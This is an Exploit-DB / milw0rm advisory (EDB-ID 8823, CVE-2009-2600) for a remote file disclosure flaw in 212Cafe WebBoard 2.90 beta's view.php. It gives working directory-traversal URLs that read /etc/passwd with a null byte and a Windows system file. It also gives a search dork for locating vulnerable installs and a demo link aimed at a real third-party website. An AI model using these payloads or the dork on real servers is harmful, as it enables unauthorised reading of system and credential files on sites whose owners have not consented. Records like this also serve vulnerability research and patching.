Exploit 212Cafe WebBoard 2.90 Beta - Remote File Disclosure

[Exploiter]

EDB-ID

8823

Проверка EDB

1. Пройдено

Автор

MRDOUG

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2009-2600

Дата публикации

2009-05-29

Webboard <= v.2.90 beta Remote File Disclosure Vulnerability

=============================================================

Author: MrDoug
Email: mrdoug13 [at] gmail [dot] com

Greetz to all my friends

=============================================================

There are 3 vulnerable calls to fopen() in "/webboard/view.php"
They are on lines 7, 109 and 113.  I have not actually read the
source but based on tests I would GUESS they look something
like this...


  7: fopen('title/' . $_GET['topic'] . '.txt');

...

109: fopen('counter/read/' . $_GET['topic'] . '.txt');

...

113: fopen('counter/read/' . $_GET['topic'] . '.txt');


IMPORTANT:
Due to the trailing ".txt", retrieving files with different
extensions will be difficult unless you are able to get a
null byte through without it being escaped.

=============================================================

Example 1: /webboard/view.php?topic=../../../../../../etc/passwd%00
Example 2: /webboard/view.php?topic=../../../../../../WINDOWS/system32/eula

Dork: inurl:"webboard/view.php?topic="

Demo: http://korat.nfe.go.th/ksn00/webboard/view.php?topic=../../../../../../WINDOWS/system32/eula

# milw0rm.com [2009-05-29]